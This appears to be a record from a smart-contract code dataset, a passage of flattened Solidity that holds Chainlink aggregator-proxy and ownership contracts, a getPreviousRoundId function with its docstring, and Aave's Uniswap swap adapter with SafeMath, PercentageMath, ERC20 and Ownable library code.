s_currentPhase.aggregator.decimals(); } /** * @notice the version number representing the type of aggregator the proxy * points to. */ function version() external view override returns ( uint256 ) { return s_currentPhase.aggregator.version(); } /** * @notice returns the description of the aggregator the proxy points to. */ function description() external view override returns ( string memory ) { return s_currentPhase.aggregator.description(); } /** * @notice returns the current proposed aggregator */ function proposedAggregator() external view override returns ( address ) { return address(s_proposedAggregator); } /** * @notice return a phase aggregator using the phaseId * * @param phaseId uint16 */ function phaseAggregators( uint16 phaseId ) external view override returns ( address ) { return address(s_phaseAggregators[phaseId]); } /** * @notice Allows the owner to propose a new address for the aggregator * @param aggregatorAddress The new address for the aggregator contract */ function proposeAggregator( address aggregatorAddress ) external onlyOwner() { s_proposedAggregator = AggregatorProxyInterface(aggregatorAddress); emit AggregatorProposed(address(s_currentPhase.aggregator), aggregatorAddress); } /** * @notice Allows the owner to confirm and change the address * to the proposed aggregator * @dev Reverts if the given address doesn't match what was previously * proposed * @param aggregatorAddress The new address for the aggregator contract */ function confirmAggregator( address aggregatorAddress ) external onlyOwner() { require(aggregatorAddress == address(s_proposedAggregator), "Invalid proposed aggregator"); address previousAggregator = address(s_currentPhase.aggregator); delete s_proposedAggregator; setAggregator(aggregatorAddress); emit AggregatorConfirmed(previousAggregator, aggregatorAddress); } /* * Internal */ function setAggregator( address aggregatorAddress ) internal { uint16 id = s_currentPhase.id + 1; s_currentPhase = Phase(id, AggregatorProxyInterface(aggregatorAddress)); s_phaseAggregators[id] = AggregatorProxyInterface(aggregatorAddress); } function addPhase( uint16 phase, uint64 originalId ) internal pure returns ( uint80 ) { return uint80(uint256(phase) << PHASE_OFFSET | originalId); } function parseIds( uint256 roundId ) internal pure returns ( uint16, uint64 ) { uint16 phaseId = uint16(roundId >> PHASE_OFFSET); uint64 aggregatorRoundId = uint64(roundId); return (phaseId, aggregatorRoundId); } function addPhaseIds( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound, uint16 phaseId ) internal pure returns ( uint80, int256, uint256, uint256, uint80 ) { return ( addPhase(phaseId, uint64(roundId)), answer, startedAt, updatedAt, addPhase(phaseId, uint64(answeredInRound)) ); } /* * Modifiers */ modifier hasProposal() { require(address(s_proposedAggregator) != address(0), "No proposed aggregator present"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @title The ConfirmedOwner contract * @notice A contract with helpers for basic contract ownership. */ contract ConfirmedOwner { address private s_owner; address private s_pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransferred( address indexed from, address indexed to ); constructor(address newOwner) { s_owner = newOwner; } /** * @notice Allows an owner to begin transferring ownership to a new address, * pending. */ function transferOwnership( address to ) external onlyOwner() { require(to != msg.sender, "Cannot transfer to self"); s_pendingOwner = to; emit OwnershipTransferRequested(s_owner, to); } /** * @notice Allows an ownership transfer to be completed by the recipient. */ function acceptOwnership() external { require(msg.sender == s_pendingOwner, "Must be proposed owner"); address oldOwner = s_owner; s_owner = msg.sender; s_pendingOwner = address(0); emit OwnershipTransferred(oldOwner, msg.sender); } /** * @notice Get the current owner */ function owner() public view returns ( address ) { return s_owner; } /** * @notice Reverts if called by anyone other than the contract owner. */ modifier onlyOwner() { require(msg.sender == s_owner, "Only callable by owner"); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@chainlink/contracts/src/v0.7/dev/AggregatorProxy.sol"; contract MockAggregatorProxy is AggregatorProxy { constructor( address aggregatorAddress ) AggregatorProxy(aggregatorAddress) {} // solhint-disable-line }
return the previous round id of a given round asset asset address denomination denomination address roundId the round id number to retrieve the updated timestamp for Note that this is not the aggregator round id, but the proxy round id To get full ranges of round ids of different phases, use getPhaseRange() return previousRoundId/
function getPreviousRoundId( address asset, address denomination, uint80 roundId ) external view override returns ( uint80 previousRoundId ) { uint16 phaseId = _getPhaseIdByRoundId(asset, denomination, roundId); return _getPreviousRoundId(asset, denomination, phaseId, roundId); }
14,647,449
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {PercentageMath} from '../protocol/libraries/math/PercentageMath.sol'; import {SafeMath} from '../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IERC20WithPermit} from '../interfaces/IERC20WithPermit.sol'; import {FlashLoanReceiverBase} from '../flashloan/base/FlashLoanReceiverBase.sol'; import {IBaseUniswapAdapter} from './interfaces/IBaseUniswapAdapter.sol'; /** * @title BaseUniswapAdapter * @notice Implements the logic for performing assets swaps in Uniswap V2 * @author Aave **/ abstract contract BaseUniswapAdapter is FlashLoanReceiverBase, IBaseUniswapAdapter, Ownable { using SafeMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; // Max slippage percent allowed uint256 public constant override MAX_SLIPPAGE_PERCENT = 3000; // 30% // FLash Loan fee set in lending pool uint256 public constant override FLASHLOAN_PREMIUM_TOTAL = 9; // USD oracle asset address address public constant override USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96; address public immutable override WETH_ADDRESS; IPriceOracleGetter public immutable override ORACLE; IUniswapV2Router02 public immutable override UNISWAP_ROUTER; constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public FlashLoanReceiverBase(addressesProvider) { ORACLE = IPriceOracleGetter(addressesProvider.getPriceOracle()); UNISWAP_ROUTER = uniswapRouter; WETH_ADDRESS = wethAddress; } /** * @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices * @param amountIn Amount of reserveIn * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount out of the reserveOut * @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function getAmountsOut( uint256 amountIn, address reserveIn, address reserveOut ) external view override returns ( uint256, uint256, uint256, uint256, address[] memory ) { AmountCalc memory results = _getAmountsOutData(reserveIn, reserveOut, amountIn); return ( results.calculatedAmount, results.relativePrice, results.amountInUsd, results.amountOutUsd, results.path ); } /** * @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices * @param amountOut Amount of reserveOut * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount in of the reserveIn * @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function getAmountsIn( uint256 amountOut, address reserveIn, address reserveOut ) external view override returns ( uint256, uint256, uint256, uint256, address[] memory ) { AmountCalc memory results = _getAmountsInData(reserveIn, reserveOut, amountOut); return ( results.calculatedAmount, results.relativePrice, results.amountInUsd, results.amountOutUsd, results.path ); } /** * @dev Swaps an exact `amountToSwap` of an asset to another * @param assetToSwapFrom Origin asset * @param assetToSwapTo Destination asset * @param amountToSwap Exact amount of `assetToSwapFrom` to be swapped * @param minAmountOut the min amount of `assetToSwapTo` to be received from the swap * @return the amount received from the swap */ function _swapExactTokensForTokens( address assetToSwapFrom, address assetToSwapTo, uint256 amountToSwap, uint256 minAmountOut, bool useEthPath ) internal returns (uint256) { uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom); uint256 toAssetDecimals = _getDecimals(assetToSwapTo); uint256 fromAssetPrice = _getPrice(assetToSwapFrom); uint256 toAssetPrice = _getPrice(assetToSwapTo); uint256 expectedMinAmountOut = amountToSwap .mul(fromAssetPrice.mul(10**toAssetDecimals)) .div(toAssetPrice.mul(10**fromAssetDecimals)) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(MAX_SLIPPAGE_PERCENT)); require(expectedMinAmountOut < minAmountOut, 'minAmountOut exceed max slippage'); // Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), amountToSwap); address[] memory path; if (useEthPath) { path = new address[](3); path[0] = assetToSwapFrom; path[1] = WETH_ADDRESS; path[2] = assetToSwapTo; } else { path = new address[](2); path[0] = assetToSwapFrom; path[1] = assetToSwapTo; } uint256[] memory amounts = UNISWAP_ROUTER.swapExactTokensForTokens( amountToSwap, minAmountOut, path, address(this), block.timestamp ); emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]); return amounts[amounts.length - 1]; } /** * @dev Receive an exact amount `amountToReceive` of `assetToSwapTo` tokens for as few `assetToSwapFrom` tokens as * possible. * @param assetToSwapFrom Origin asset * @param assetToSwapTo Destination asset * @param maxAmountToSwap Max amount of `assetToSwapFrom` allowed to be swapped * @param amountToReceive Exact amount of `assetToSwapTo` to receive * @return the amount swapped */ function _swapTokensForExactTokens( address assetToSwapFrom, address assetToSwapTo, uint256 maxAmountToSwap, uint256 amountToReceive, bool useEthPath ) internal returns (uint256) { uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom); uint256 toAssetDecimals = _getDecimals(assetToSwapTo); uint256 fromAssetPrice = _getPrice(assetToSwapFrom); uint256 toAssetPrice = _getPrice(assetToSwapTo); uint256 expectedMaxAmountToSwap = amountToReceive .mul(toAssetPrice.mul(10**fromAssetDecimals)) .div(fromAssetPrice.mul(10**toAssetDecimals)) .percentMul(PercentageMath.PERCENTAGE_FACTOR.add(MAX_SLIPPAGE_PERCENT)); require(maxAmountToSwap < expectedMaxAmountToSwap, 'maxAmountToSwap exceed max slippage'); // Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), maxAmountToSwap); address[] memory path; if (useEthPath) { path = new address[](3); path[0] = assetToSwapFrom; path[1] = WETH_ADDRESS; path[2] = assetToSwapTo; } else { path = new address[](2); path[0] = assetToSwapFrom; path[1] = assetToSwapTo; } uint256[] memory amounts = UNISWAP_ROUTER.swapTokensForExactTokens( amountToReceive, maxAmountToSwap, path, address(this), block.timestamp ); emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]); return amounts[0]; } /** * @dev Get the price of the asset from the oracle denominated in eth * @param asset address * @return eth price for the asset */ function _getPrice(address asset) internal view returns (uint256) { return ORACLE.getAssetPrice(asset); } /** * @dev Get the decimals of an asset * @return number of decimals of the asset */ function _getDecimals(address asset) internal view returns (uint256) { return IERC20Detailed(asset).decimals(); } /** * @dev Get the aToken associated to the asset * @return address of the aToken */ function _getReserveData(address asset) internal view returns (DataTypes.ReserveData memory) { return LENDING_POOL.getReserveData(asset); } /** * @dev Pull the ATokens from the user * @param reserve address of the asset * @param reserveAToken address of the aToken of the reserve * @param user address * @param amount of tokens to be transferred to the contract * @param permitSignature struct containing the permit signature */ function _pullAToken( address reserve, address reserveAToken, address user, uint256 amount, PermitSignature memory permitSignature ) internal { if (_usePermit(permitSignature)) { IERC20WithPermit(reserveAToken).permit( user, address(this), permitSignature.amount, permitSignature.deadline, permitSignature.v, permitSignature.r, permitSignature.s ); } // transfer from user to adapter IERC20(reserveAToken).safeTransferFrom(user, address(this), amount); // withdraw reserve LENDING_POOL.withdraw(reserve, amount, address(this)); } /** * @dev Tells if the permit method should be called by inspecting if there is a valid signature. * If signature params are set to 0, then permit won't be called. * @param signature struct containing the permit signature * @return whether or not permit should be called */ function _usePermit(PermitSignature memory signature) internal pure returns (bool) { return !(uint256(signature.deadline) == uint256(signature.v) && uint256(signature.deadline) == 0); } /** * @dev Calculates the value denominated in USD * @param reserve Address of the reserve * @param amount Amount of the reserve * @param decimals Decimals of the reserve * @return whether or not permit should be called */ function _calcUsdValue( address reserve, uint256 amount, uint256 decimals ) internal view returns (uint256) { uint256 ethUsdPrice = _getPrice(USD_ADDRESS); uint256 reservePrice = _getPrice(reserve); return amount.mul(reservePrice).div(10**decimals).mul(ethUsdPrice).div(10**18); } /** * @dev Given an input asset amount, returns the maximum output amount of the other asset * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountIn Amount of reserveIn * @return Struct containing the following information: * uint256 Amount out of the reserveOut * uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * uint256 In amount of reserveIn value denominated in USD (8 decimals) * uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function _getAmountsOutData( address reserveIn, address reserveOut, uint256 amountIn ) internal view returns (AmountCalc memory) { // Subtract flash loan fee uint256 finalAmountIn = amountIn.sub(amountIn.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); if (reserveIn == reserveOut) { uint256 reserveDecimals = _getDecimals(reserveIn); address[] memory path = new address[](1); path[0] = reserveIn; return AmountCalc( finalAmountIn, finalAmountIn.mul(10**18).div(amountIn), _calcUsdValue(reserveIn, amountIn, reserveDecimals), _calcUsdValue(reserveIn, finalAmountIn, reserveDecimals), path ); } address[] memory simplePath = new address[](2); simplePath[0] = reserveIn; simplePath[1] = reserveOut; uint256[] memory amountsWithoutWeth; uint256[] memory amountsWithWeth; address[] memory pathWithWeth = new address[](3); if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) { pathWithWeth[0] = reserveIn; pathWithWeth[1] = WETH_ADDRESS; pathWithWeth[2] = reserveOut; try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, pathWithWeth) returns ( uint256[] memory resultsWithWeth ) { amountsWithWeth = resultsWithWeth; } catch { amountsWithWeth = new uint256[](3); } } else { amountsWithWeth = new uint256[](3); } uint256 bestAmountOut; try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, simplePath) returns ( uint256[] memory resultAmounts ) { amountsWithoutWeth = resultAmounts; bestAmountOut = (amountsWithWeth[2] > amountsWithoutWeth[1]) ? amountsWithWeth[2] : amountsWithoutWeth[1]; } catch { amountsWithoutWeth = new uint256[](2); bestAmountOut = amountsWithWeth[2]; } uint256 reserveInDecimals = _getDecimals(reserveIn); uint256 reserveOutDecimals = _getDecimals(reserveOut); uint256 outPerInPrice = finalAmountIn.mul(10**18).mul(10**reserveOutDecimals).div( bestAmountOut.mul(10**reserveInDecimals) ); return AmountCalc( bestAmountOut, outPerInPrice, _calcUsdValue(reserveIn, amountIn, reserveInDecimals), _calcUsdValue(reserveOut, bestAmountOut, reserveOutDecimals), (bestAmountOut == 0) ? new address[](2) : (bestAmountOut == amountsWithoutWeth[1]) ? simplePath : pathWithWeth ); } /** * @dev Returns the minimum input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return Struct containing the following information: * uint256 Amount in of the reserveIn * uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * uint256 In amount of reserveIn value denominated in USD (8 decimals) * uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function _getAmountsInData( address reserveIn, address reserveOut, uint256 amountOut ) internal view returns (AmountCalc memory) { if (reserveIn == reserveOut) { // Add flash loan fee uint256 amountIn = amountOut.add(amountOut.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); uint256 reserveDecimals = _getDecimals(reserveIn); address[] memory path = new address[](1); path[0] = reserveIn; return AmountCalc( amountIn, amountOut.mul(10**18).div(amountIn), _calcUsdValue(reserveIn, amountIn, reserveDecimals), _calcUsdValue(reserveIn, amountOut, reserveDecimals), path ); } (uint256[] memory amounts, address[] memory path) = _getAmountsInAndPath(reserveIn, reserveOut, amountOut); // Add flash loan fee uint256 finalAmountIn = amounts[0].add(amounts[0].mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); uint256 reserveInDecimals = _getDecimals(reserveIn); uint256 reserveOutDecimals = _getDecimals(reserveOut); uint256 inPerOutPrice = amountOut.mul(10**18).mul(10**reserveInDecimals).div( finalAmountIn.mul(10**reserveOutDecimals) ); return AmountCalc( finalAmountIn, inPerOutPrice, _calcUsdValue(reserveIn, finalAmountIn, reserveInDecimals), _calcUsdValue(reserveOut, amountOut, reserveOutDecimals), path ); } /** * @dev Calculates the input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return uint256[] amounts Array containing the amountIn and amountOut for a swap */ function _getAmountsInAndPath( address reserveIn, address reserveOut, uint256 amountOut ) internal view returns (uint256[] memory, address[] memory) { address[] memory simplePath = new address[](2); simplePath[0] = reserveIn; simplePath[1] = reserveOut; uint256[] memory amountsWithoutWeth; uint256[] memory amountsWithWeth; address[] memory pathWithWeth = new address[](3); if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) { pathWithWeth[0] = reserveIn; pathWithWeth[1] = WETH_ADDRESS; pathWithWeth[2] = reserveOut; try UNISWAP_ROUTER.getAmountsIn(amountOut, pathWithWeth) returns ( uint256[] memory resultsWithWeth ) { amountsWithWeth = resultsWithWeth; } catch { amountsWithWeth = new uint256[](3); } } else { amountsWithWeth = new uint256[](3); } try UNISWAP_ROUTER.getAmountsIn(amountOut, simplePath) returns ( uint256[] memory resultAmounts ) { amountsWithoutWeth = resultAmounts; return (amountsWithWeth[0] < amountsWithoutWeth[0] && amountsWithWeth[0] != 0) ? (amountsWithWeth, pathWithWeth) : (amountsWithoutWeth, simplePath); } catch { return (amountsWithWeth, pathWithWeth); } } /** * @dev Calculates the input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return uint256[] amounts Array containing the amountIn and amountOut for a swap */ function _getAmountsIn( address reserveIn, address reserveOut, uint256 amountOut, bool useEthPath ) internal view returns (uint256[] memory) { address[] memory path; if (useEthPath) { path = new address[](3); path[0] = reserveIn; path[1] = WETH_ADDRESS; path[2] = reserveOut; } else { path = new address[](2); path[0] = reserveIn; path[1] = reserveOut; } return UNISWAP_ROUTER.getAmountsIn(amountOut, path); } /** * @dev Emergency rescue for token stucked on this contract, as failsafe mechanism * - Funds should never remain in this contract more time than during transactions * - Only callable by the owner **/ function rescueTokens(IERC20 token) external onlyOwner { token.transfer(owner(), token.balanceOf(address(this))); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title PercentageMath library * @author Aave * @notice Provides functions to perform percentage calculations * @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR * @dev Operations are rounded half up **/ library PercentageMath { uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2; /** * @dev Executes a percentage multiplication * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The percentage of value **/ function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) { if (value == 0 || percentage == 0) { return 0; } require( value <= (type(uint256).max - HALF_PERCENT) / percentage, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR; } /** * @dev Executes a percentage division * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The value divided the percentage **/ function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) { require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfPercentage = percentage / 2; require( value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; interface IERC20Detailed is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; import {SafeMath} from './SafeMath.sol'; import {Address} from './Address.sol'; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), 'SafeERC20: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProvider { event MarketIdSet(string newMarketId); event LendingPoolUpdated(address indexed newAddress); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendingPoolConfiguratorUpdated(address indexed newAddress); event LendingPoolCollateralManagerUpdated(address indexed newAddress); event PriceOracleUpdated(address indexed newAddress); event LendingRateOracleUpdated(address indexed newAddress); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy); function getMarketId() external view returns (string memory); function setMarketId(string calldata marketId) external; function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy(bytes32 id, address impl) external; function getAddress(bytes32 id) external view returns (address); function getLendingPool() external view returns (address); function setLendingPoolImpl(address pool) external; function getLendingPoolConfigurator() external view returns (address); function setLendingPoolConfiguratorImpl(address configurator) external; function getLendingPoolCollateralManager() external view returns (address); function setLendingPoolCollateralManager(address manager) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getPriceOracle() external view returns (address); function setPriceOracle(address priceOracle) external; function getLendingRateOracle() external view returns (address); function 